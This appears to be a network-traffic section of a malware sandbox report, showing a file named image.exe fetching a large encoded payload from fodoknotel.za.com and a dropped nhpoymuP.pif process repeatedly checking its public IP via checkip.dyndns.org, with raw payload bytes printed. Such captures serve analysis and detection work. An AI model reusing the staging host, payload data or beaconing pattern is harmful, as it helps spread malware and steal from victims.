                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 104
                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Pragma: no-cache
                                                                                                                                                                    X-Request-ID: 37c3db16ac6c73101dade329c0c468ba
                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                    Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    6192.168.2.449750193.122.130.0808008C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Jan 2, 2025 16:05:37.676503897 CET127OUTGET / HTTP/1.1
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                                    Host: checkip.dyndns.org
                                                                                                                                                                    Jan 2, 2025 16:05:38.948564053 CET321INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:38 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 104
                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Pragma: no-cache
                                                                                                                                                                    X-Request-ID: 7e54f24ce01613d9294c63a75e853763
                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                    Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    7192.168.2.449753193.122.130.0807688C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Jan 2, 2025 16:05:39.167212963 CET151OUTGET / HTTP/1.1
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                                    Host: checkip.dyndns.org
                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                    Jan 2, 2025 16:05:39.633395910 CET321INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:39 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 104
                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Pragma: no-cache
                                                                                                                                                                    X-Request-ID: a6a195c52e4101c2908a80fc87a58316
                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                    Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    8192.168.2.449755193.122.130.0808008C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Jan 2, 2025 16:05:39.786648989 CET127OUTGET / HTTP/1.1
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                                    Host: checkip.dyndns.org
                                                                                                                                                                    Jan 2, 2025 16:05:40.994121075 CET321INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:40 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 104
                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Pragma: no-cache
                                                                                                                                                                    X-Request-ID: 83294c7297ff12fe4e71db83a9751faf
                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                    Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    9192.168.2.449756193.122.130.0807688C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Jan 2, 2025 16:05:40.264377117 CET151OUTGET / HTTP/1.1
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                                    Host: checkip.dyndns.org
                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                    Jan 2, 2025 16:05:40.720549107 CET321INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:40 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 104
                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Pragma: no-cache
                                                                                                                                                                    X-Request-ID: 79be42c0e20a5c56e340993535bdf278
                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                    Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    10192.168.2.449759193.122.130.0807688C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Jan 2, 2025 16:05:41.558399916 CET151OUTGET / HTTP/1.1
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                                    Host: checkip.dyndns.org
                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                    Jan 2, 2025 16:05:42.905512094 CET321INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:42 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 104
                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Pragma: no-cache
                                                                                                                                                                    X-Request-ID: b70cc57291071a5deba324754af2d45f
                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                    Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    11192.168.2.449760193.122.130.0808008C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Jan 2, 2025 16:05:41.826998949 CET151OUTGET / HTTP/1.1
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                                    Host: checkip.dyndns.org
                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                    Jan 2, 2025 16:05:45.110498905 CET321INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:45 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 104
                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Pragma: no-cache
                                                                                                                                                                    X-Request-ID: 5c00bb704a46296e4ab07ac01074dbdb
                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                    Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    12192.168.2.449762193.122.130.0807688C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Jan 2, 2025 16:05:43.539006948 CET151OUTGET / HTTP/1.1
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                                    Host: checkip.dyndns.org
                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                    Jan 2, 2025 16:05:44.826647043 CET321INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:44 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 104
                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Pragma: no-cache
                                                                                                                                                                    X-Request-ID: 2a78b826e5f5c03b18bba4001a92fd15
                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                    Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    13192.168.2.449766193.122.130.0808008C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Jan 2, 2025 16:05:45.722193003 CET151OUTGET / HTTP/1.1
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                                    Host: checkip.dyndns.org
                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                    Jan 2, 2025 16:05:46.207492113 CET321INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:46 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 104
                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Pragma: no-cache
                                                                                                                                                                    X-Request-ID: 3c045c302592cf258770a9dfe9bd17b5
                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                    Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    14192.168.2.449768193.122.130.0808008C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Jan 2, 2025 16:05:46.973227024 CET151OUTGET / HTTP/1.1
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                                    Host: checkip.dyndns.org
                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                    Jan 2, 2025 16:05:47.776566029 CET321INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:47 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 104
                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Pragma: no-cache
                                                                                                                                                                    X-Request-ID: a9cbedffd78759fa67660dd76f482a6b
                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                    Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    15192.168.2.449770193.122.130.0808008C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Jan 2, 2025 16:05:48.424592018 CET151OUTGET / HTTP/1.1
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                                    Host: checkip.dyndns.org
                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                    Jan 2, 2025 16:05:51.029989004 CET321INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:50 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 104
                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Pragma: no-cache
                                                                                                                                                                    X-Request-ID: 3dc7dcc639eeeded39a678180e606ab7
                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                    Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                                    HTTPS Proxied Packets

                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    0192.168.2.44973123.237.26.1354437276C:\Users\user\Desktop\image.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    2025-01-02 15:04:58 UTC166OUTGET /233_Pumyophnrer HTTP/1.1
                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                    Host: fodoknotel.za.com
                                                                                                                                                                    2025-01-02 15:04:59 UTC183INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:04:58 GMT
                                                                                                                                                                    Server: Apache
                                                                                                                                                                    Last-Modified: Tue, 31 Dec 2024 20:10:29 GMT
                                                                                                                                                                    Accept-Ranges: bytes
                                                                                                                                                                    Content-Length: 766628
                                                                                                                                                                    Connection: close
                                                                                                                                                                    2025-01-02 15:04:59 UTC8009INData Raw: 70 71 36 6c 57 53 4f 6e 73 55 73 6e 49 68 41 69 47 52 30 66 46 42 63 64 49 68 41 69 4a 68 4d 6e 46 79 4d 61 46 42 67 61 4a 52 30 51 4a 68 34 67 49 78 49 69 4a 68 34 56 4a 68 49 5a 45 51 34 4f 47 78 4d 58 46 42 41 55 45 68 51 69 47 79 63 6a 46 42 34 63 45 67 34 65 47 43 49 55 47 68 53 6d 72 71 56 5a 49 36 65 78 53 2f 30 69 47 69 59 63 48 52 55 62 48 78 49 66 70 71 36 6c 57 53 4f 6e 73 55 74 4c 39 4f 48 36 2b 4e 7a 64 67 65 50 79 2b 75 2f 68 35 6f 42 4c 2f 66 66 6e 36 50 66 35 35 34 37 71 2b 2f 62 66 34 76 4b 54 54 6c 62 68 2b 2b 72 34 38 4f 35 2f 33 39 7a 64 38 2b 2f 77 67 77 70 61 33 2f 6a 35 38 39 33 34 67 2b 6a 7a 33 4f 48 7a 2b 6f 46 4c 57 75 72 76 34 39 7a 65 38 49 54 35 37 2b 54 68 35 66 47 55 2f 56 66 63 33 64 7a 35 35 4e 39 39 38 50 50 30 34 76 48
                                                                                                                                                                    Data Ascii: pq6lWSOnsUsnIhAiGR0fFBcdIhAiJhMnFyMaFBgaJR0QJh4gIxIiJh4VJhIZEQ4OGxMXFBAUEhQiGycjFB4cEg4eGCIUGhSmrqVZI6exS/0iGiYcHRUbHxIfpq6lWSOnsUtL9OH6+NzdgePy+u/h5oBL/ffn6Pf5547q+/bf4vKTTlbh++r48O5/39zd8+/wgwpa3/j58934g+jz3OHz+oFLWurv49ze8IT57+Th5fGU/Vfc3dz55N998PP04vH
                                                                                                                                                                    2025-01-02 15:04:59 UTC8000INData Raw: 5a 35 61 51 6b 61 51 2f 2f 38 59 62 47 56 79 4a 71 64 73 55 63 48 4f 34 52 39 6d 6c 35 2f 62 52 7a 77 4e 72 63 41 79 56 54 4b 31 66 70 31 38 78 6a 34 79 6e 56 4d 74 58 4c 72 64 49 50 4f 30 49 66 44 70 64 67 70 53 59 51 6e 6f 61 38 49 65 4f 43 68 33 74 50 57 5a 50 51 61 69 4f 42 66 51 59 66 35 63 68 54 31 77 4e 48 35 44 67 49 6a 4f 66 56 71 69 2f 55 6c 69 4c 34 77 53 43 41 49 78 6e 2f 78 71 6a 75 76 78 54 59 72 6b 4b 4d 68 56 33 4e 51 6e 77 67 52 54 6c 6a 53 5a 5a 35 79 6b 69 68 56 41 4c 35 6e 59 72 69 55 61 54 45 30 50 64 57 37 63 4e 67 52 77 6b 5a 34 62 55 4c 62 56 74 79 75 57 73 50 75 58 4c 47 30 2f 41 4e 76 66 6f 67 7a 6f 66 55 4d 79 6c 4e 44 55 79 59 69 30 4f 41 53 6c 74 38 79 44 32 42 38 41 34 65 6e 54 6d 4d 59 6d 35 38 45 48 75 72 58 61 47 30 44 36
                                                                                                                                                                    Data Ascii: Z5aQkaQ//8YbGVyJqdsUcHO4R9ml5/bRzwNrcAyVTK1fp18xj4ynVMtXLrdIPO0IfDpdgpSYQnoa8IeOCh3tPWZPQaiOBfQYf5chT1wNH5DgIjOfVqi/UliL4wSCAIxn/xqjuvxTYrkKMhV3NQnwgRTljSZZ5ykihVAL5nYriUaTE0PdW7cNgRwkZ4bULbVtyuWsPuXLG0/ANvfogzofUMylNDUyYi0OASlt8yD2B8A4enTmMYm58EHurXaG0D6
                                                                                                                                                                    2025-01-02 15:04:59 UTC8000INData Raw: 4c 6f 33 35 39 38 67 5a 4d 59 32 76 45 45 52 34 58 2b 79 2b 65 51 4d 4a 49 69 66 36 57 30 44 46 4f 77 74 6e 30 4c 61 64 44 4f 32 32 6d 68 41 46 71 74 45 6c 42 44 65 6e 59 59 36 52 6c 49 30 4a 2b 42 37 48 35 4e 75 32 2b 43 67 4d 2f 64 47 71 68 44 55 32 71 4f 59 73 4d 32 45 74 48 44 44 4c 70 4a 34 49 6f 72 6b 59 70 54 32 2b 2f 31 43 48 67 45 2b 4a 79 74 75 77 6b 53 69 43 49 43 50 69 53 46 47 35 61 67 63 4d 30 32 43 4a 79 6a 5a 2b 61 69 44 57 53 63 6b 38 38 51 41 2f 65 76 2b 44 6e 53 48 65 49 75 66 46 46 45 55 48 4f 50 71 79 67 50 35 79 66 69 6d 67 4c 42 5a 4c 51 65 6e 32 6b 38 66 34 41 68 69 35 46 75 61 2f 69 37 65 43 6f 33 44 6e 45 6d 4e 36 2b 38 73 76 71 47 69 73 56 68 4b 33 71 33 74 4a 77 55 59 61 41 4f 78 7a 67 75 64 62 59 4d 70 4f 72 75 38 67 4f 2f 7a
                                                                                                                                                                    Data Ascii: Lo3598gZMY2vEER4X+y+eQMJIif6W0DFOwtn0LadDO22mhAFqtElBDenYY6RlI0J+B7H5Nu2+CgM/dGqhDU2qOYsM2EtHDDLpJ4IorkYpT2+/1CHgE+JytuwkSiCICPiSFG5agcM02CJyjZ+aiDWSck88QA/ev+DnSHeIufFFEUHOPqygP5yfimgLBZLQen2k8f4Ahi5Fua/i7eCo3DnEmN6+8svqGisVhK3q3tJwUYaAOxzgudbYMpOru8gO/z
                                                                                                                                                                    2025-01-02 15:04:59 UTC8000INData Raw: 73 30 68 79 51 55 6d 61 71 34 6c 58 35 57 48 2b 78 32 31 62 4f 49 4e 4b 78 36 4b 75 30 78 46 6c 7a 70 6d 4d 67 54 35 50 6f 73 65 67 2b 75 66 74 39 39 69 39 56 44 62 68 72 32 74 50 4e 44 74 4a 65 43 63 30 4a 69 43 4b 47 76 31 6b 62 52 6a 45 34 57 36 7a 32 32 75 4a 76 45 71 58 47 38 30 46 30 52 65 37 44 6d 43 50 2f 37 6a 65 49 56 66 4a 72 59 67 45 7a 32 64 37 64 4c 65 45 53 50 38 4c 53 48 51 49 56 68 53 6d 79 63 5a 79 39 63 41 6c 71 46 43 70 48 32 6d 34 2b 58 67 30 58 59 48 5a 78 56 4a 6f 53 49 4e 4d 79 2b 56 7a 4e 58 79 47 4b 64 36 66 41 73 53 76 36 42 41 52 43 6e 6d 6b 54 4c 38 4e 66 41 45 79 78 53 44 39 43 4b 55 73 52 30 37 76 44 57 41 37 37 47 68 61 56 35 55 62 4d 78 64 55 4e 43 31 2b 70 53 52 69 77 77 37 2f 6d 77 34 45 53 2f 72 64 79 52 62 53 4d 79 53
                                                                                                                                                                    Data Ascii: s0hyQUmaq4lX5WH+x21bOINKx6Ku0xFlzpmMgT5Poseg+uft99i9VDbhr2tPNDtJeCc0JiCKGv1kbRjE4W6z22uJvEqXG80F0Re7DmCP/7jeIVfJrYgEz2d7dLeESP8LSHQIVhSmycZy9cAlqFCpH2m4+Xg0XYHZxVJoSINMy+VzNXyGKd6fAsSv6BARCnmkTL8NfAEyxSD9CKUsR07vDWA77GhaV5UbMxdUNC1+pSRiww7/mw4ES/rdyRbSMyS
                                                                                                                                                                    2025-01-02 15:04:59 UTC8000INData Raw: 46 47 33 67 55 74 49 65 36 73 4c 62 43 71 7a 2f 74 45 77 46 49 2b 4a 2b 4f 73 30 47 71 70 71 73 70 71 6b 70 69 4e 58 6c 63 63 77 61 7a 43 45 76 79 34 34 69 5a 69 38 6d 61 56 4a 61 48 5a 70 68 4d 63 33 6d 42 34 65 5a 55 52 66 70 49 59 58 47 2b 39 71 6c 55 4a 59 78 47 39 31 79 5a 4e 36 39 4a 36 56 6b 47 4b 4e 50 5a 76 79 33 73 74 4a 65 36 43 30 59 52 31 55 69 71 53 48 69 42 4a 78 4a 44 61 32 62 68 65 71 45 31 58 49 35 75 51 5a 4a 4c 4c 34 4e 4b 31 4e 51 51 57 67 79 6d 4a 56 43 55 59 6e 72 55 42 4f 6f 79 6c 41 6a 31 67 76 57 32 59 30 37 30 49 52 72 54 4a 4e 7a 71 59 50 2f 6f 6f 4d 4e 6f 4d 6f 32 72 56 62 73 4b 48 50 6f 74 49 31 59 72 39 46 70 2f 6c 59 39 6f 76 4b 78 46 76 43 41 54 70 6c 77 39 54 53 7a 4d 7a 2f 66 76 65 4c 39 46 4f 46 56 72 33 37 57 56 2b 46
                                                                                                                                                                    Data Ascii: FG3gUtIe6sLbCqz/tEwFI+J+Os0GqpqspqkpiNXlccwazCEvy44iZi8maVJaHZphMc3mB4eZURfpIYXG+9qlUJYxG91yZN69J6VkGKNPZvy3stJe6C0YR1UiqSHiBJxJDa2bheqE1XI5uQZJLL4NK1NQQWgymJVCUYnrUBOoylAj1gvW2Y070IRrTJNzqYP/ooMNoMo2rVbsKHPotI1Yr9Fp/lY9ovKxFvCATplw9TSzMz/fveL9FOFVr37WV+F
                                                                                                                                                                    2025-01-02 15:04:59 UTC8000INData Raw: 6f 53 4c 53 70 45 48 6d 35 66 62 51 37 68 6f 4c 56 68 2f 6e 50 44 6f 33 53 56 4a 38 50 72 43 6b 64 6a 38 75 4e 39 64 70 6c 45 44 55 4f 55 4f 65 65 76 53 70 4a 76 66 4a 65 53 6b 53 61 76 6d 70 65 39 51 49 39 5a 2b 55 77 31 67 38 65 72 68 50 4d 75 4d 39 53 66 6f 36 50 67 76 46 39 2f 41 4f 58 75 32 41 67 35 43 50 53 70 52 73 48 7a 53 4a 6a 47 36 4b 38 55 65 2b 78 42 68 59 41 68 64 47 56 53 58 42 64 58 37 73 54 5a 53 72 54 74 4a 68 6d 47 57 67 4c 49 5a 50 35 48 47 6c 71 51 4c 2b 65 79 43 4d 48 77 37 6b 48 42 36 6b 79 4f 69 31 39 38 4c 74 53 59 64 4b 52 35 2b 58 65 33 4b 48 2f 76 79 6c 36 44 6b 50 71 36 75 39 34 43 71 58 57 36 61 38 51 53 70 43 55 44 31 75 47 62 39 59 55 59 64 6d 78 78 66 32 50 6e 50 4b 34 6d 31 30 71 63 49 65 42 36 42 35 47 69 31 78 2b 68 59
                                                                                                                                                                    Data Ascii: oSLSpEHm5fbQ7hoLVh/nPDo3SVJ8PrCkdj8uN9dplEDUOUOeevSpJvfJeSkSavmpe9QI9Z+Uw1g8erhPMuM9Sfo6PgvF9/AOXu2Ag5CPSpRsHzSJjG6K8Ue+xBhYAhdGVSXBdX7sTZSrTtJhmGWgLIZP5HGlqQL+eyCMHw7kHB6kyOi198LtSYdKR5+Xe3KH/vyl6DkPq6u94CqXW6a8QSpCUD1uGb9YUYdmxxf2PnPK4m10qcIeB6B5Gi1x+hY
